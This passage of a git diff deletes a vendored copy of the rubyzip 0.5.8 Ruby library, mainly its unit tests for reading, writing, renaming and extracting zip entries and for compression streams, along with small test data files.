File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb b/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb deleted file mode 100644 index 036d25e9..00000000 --- a/vendor/rubyzip-0.5.8/test/data/notzippedruby.rb +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -class NotZippedRuby - def returnTrue - true - end -end diff --git a/vendor/rubyzip-0.5.8/test/data/rubycode.zip b/vendor/rubyzip-0.5.8/test/data/rubycode.zip deleted file mode 100644 index 8a68560e638088df79cd3bf68973013e5421a138..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 617 zcmWIWW@Zs#U|`^2*ef_ihj&#AyDyLz4#a#6q6}4;1qG=oMWsoVhI&Owp&^_M%*Qqz zusOT^fK6xx3qz{5pk{E`6@6X3Oa7XQ6aq^YrF$udom<7Oc6lM6}=RDLT(4ef%v0bc!4h^8y1W zF(|b-zqBYhRj;I?1ROS-fZ>81HlI)HpFDBKJKSTf$2lEFL!-|k4N6D3GG|(@>;ig~ zkx85xSJ3kU?ONSo@jDa*vNRhlwoTaWDdGpXl_l7YYQ5=Tcy zrKJm6mDneFo%MeBlu4K&z?+dtoEeupd4aBFU| zA4oGE-6BAHIKZ|xRwx*G19_o9EQG2%Ei)(8(9jU>1duaeP7pnEkh8&nhxJ1B@*nf6 zHmC3$*O)cQq4xsI(%Y*)R4Bgs(PD5T$>)hP`&4@^Uu)sOHmP%+3H(JZ*Tj$A;8upFq4-#D)-_!rOo zz!GmJQzzjm|Ki#?1CQIcEI2yj#PYsPrf+proq4ajTwpGhS;Rkm%D0A)zZ8EJcxCc?6yCYU#-$Z+V)|>29qyQgrU)ZKDMG0hH6=mA&`2McB8;FZB0rGW z^aM>2Fx?OquacTrK4QqJHwn1X`eeKbzSH2tf ze~@$y7Fr=VYr&WAVTm&&(+zp%a4xxL^+-`ycmB2e%C1^V4FwljSkE~#@%Fi*%OZ!K zJ;>Ryr7T6HD!}#Rvky$Dk$dY_Uj ZipEntry.new("zf.zip", "a"))) - assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) - - entries = [ - ZipEntry.new("zf.zip", "5"), - ZipEntry.new("zf.zip", "1"), - ZipEntry.new("zf.zip", "3"), - ZipEntry.new("zf.zip", "4"), - ZipEntry.new("zf.zip", "0"), - ZipEntry.new("zf.zip", "2") - ] - - entries.sort! - assert_equal("0", entries[0].to_s) - assert_equal("1", entries[1].to_s) - assert_equal("2", entries[2].to_s) - assert_equal("3", entries[3].to_s) - assert_equal("4", entries[4].to_s) - assert_equal("5", entries[5].to_s) - end - - def test_parentAsString - entry1 = ZipEntry.new("zf.zip", "aa") - entry2 = ZipEntry.new("zf.zip", "aa/") - entry3 = ZipEntry.new("zf.zip", "aa/bb") - entry4 = ZipEntry.new("zf.zip", "aa/bb/") - entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") - entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") - - assert_equal(nil, entry1.parent_as_string) - assert_equal(nil, entry2.parent_as_string) - assert_equal("aa/", entry3.parent_as_string) - assert_equal("aa/", entry4.parent_as_string) - assert_equal("aa/bb/", entry5.parent_as_string) - assert_equal("aa/bb/", entry6.parent_as_string) - end - - def test_entry_name_cannot_start_with_slash - assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < Test::Unit::TestCase - def test_read_local_entryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressed_size) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) - assert(! entry.is_directory) - } - end - - def test_readDateTime - File.open("data/rubycode.zip", "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - assert_equal("zippedruby1.rb", entry.name) - assert_equal(Time.at(1019261638), entry.time) - } - end - - def test_read_local_entryFromNonZipFile - File.open("data/file2.txt") { - |file| - assert_equal(nil, ZipEntry.read_local_entry(file)) - } - end - - def test_read_local_entryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.read_local_entry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") - compare_local_entry_headers(entry, entryReadLocal) - compare_c_dir_entry_headers(entry, entryReadCentral) - end - - private - def compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.compressed_size , entry2.compressed_size) - assert_equal(entry1.crc , entry2.crc) - assert_equal(entry1.extra , entry2.extra) - assert_equal(entry1.compression_method, entry2.compression_method) - assert_equal(entry1.name , entry2.name) - assert_equal(entry1.size , entry2.size) - assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compare_c_dir_entry_headers(entry1, entry2) - compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.comment, entry2.comment) - end - - def write_to_file(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } - File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } - end - - def read_from_file(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.read_local_entry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText, @refLines and @decompressor - - TEST_FILE="data/file1.txt" - - def setup - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @refLines = @refText.split($/) - end - - def test_readEverything - assert_equal(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equal(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equal(0, @refText.size) - end - - def test_mixingReadsAndProduceInput - # Just some preconditions to make sure we have enough data for this test - assert(@refText.length > 1000) - assert(@refLines.length > 40) - - - assert_equal(@refText[0...100], @decompressor.read(100)) - - assert(! @decompressor.input_finished?) - buf = @decompressor.produce_input - assert_equal(@refText[100...(100+buf.length)], buf) - end -end - -class InflaterTest < Test::Unit::TestCase - include DecompressorTests - - def setup - super - @file = File.new("data/file1.txt.deflatedData", "rb") - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < Test::Unit::TestCase - include DecompressorTests - def setup - super - @file = File.new(TEST_FILE) - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assert_next_entry(filename, zis) - assert_entry(filename, zis, zis.get_next_entry.name) - end - - def assert_entry(filename, zis, entryName) - assert_equal(filename, entryName) - assert_entryContentsForStream(filename, zis, entryName) - end - - def assert_entryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if ((expected && actual) && (expected.length > 400 || actual.length > 400)) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equal(expected, actual) - end - end - } - end - - def AssertEntry.assert_contents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (fileContents.length > 400 || aString.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equal(fileContents, aString) - end - end - end - - def assert_stream_contents(zis, testZipFile) - assert(zis != nil) - testZipFile.entry_names.each { - |entryName| - assert_next_entry(entryName, zis) - } - assert_equal(nil, zis.get_next_entry) - end - - def assert_test_zip_contents(testZipFile) - ZipInputStream.open(testZipFile.zip_name) { - |zis| - assert_stream_contents(zis, testZipFile) - } - end - - def assert_entryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.get_input_stream(entryName) - assert_entryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < Test::Unit::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - entry = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) - assert zis.gets.length > 0 - entry = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - entry = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) - assert zis.gets.length > 0 - entry = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) - assert zis.gets.length > 0 - } - end - - def test_rewind - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name) - - # Do a little reading - buf = "" - buf << zis.read(100) - buf << (zis.gets || "") - buf << (zis.gets || "") - - zis.rewind - - buf2 = "" - buf2 << zis.read(100) - buf2 << (zis.gets || "") - buf2 << (zis.gets || "") - - assert_equal(buf, buf2) - - zis.rewind - - assert_entry(e.name, zis, e.name) - } - end - -end - - -module CrcTest - - class TestOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def run_crc_test(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equal(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < Test::Unit::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equal(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equal(compressor.size, t1.size) - - compressor << t2 - assert_equal(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equal(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - run_crc_test(PassThruCompressor) - end -end - -class DeflaterTest < Test::Unit::TestCase - include CrcTest - - def test_outputOperator - txt = load_file("data/file2.txt") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equal(txt, inflatedTxt) - end - - private - def load_file(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equal(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - run_crc_test(Deflater) - end -end - -class ZipOutputStreamTest < Test::Unit::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zip_name) - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - zos.close - assert_test_zip_contents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zip_name) { - |zos| - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - } - assert_test_zip_contents(TEST_ZIP) - end - - def test_writingToClosedStream - assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") - end - end - - def assert_i_o_error_in_closed_stream - assert_raise(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def write_test_zip(zos) - TEST_ZIP.entry_names.each { - |entryName| - zos.put_next_entry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compare_enumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open("data/testDirectory.bin", "rb") { - |file| - entry = ZipEntry.read_c_dir_entry(file) - - assert_equal("longAscii.txt", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(106490, entry.size) - assert_equal(3784, entry.compressed_size) - 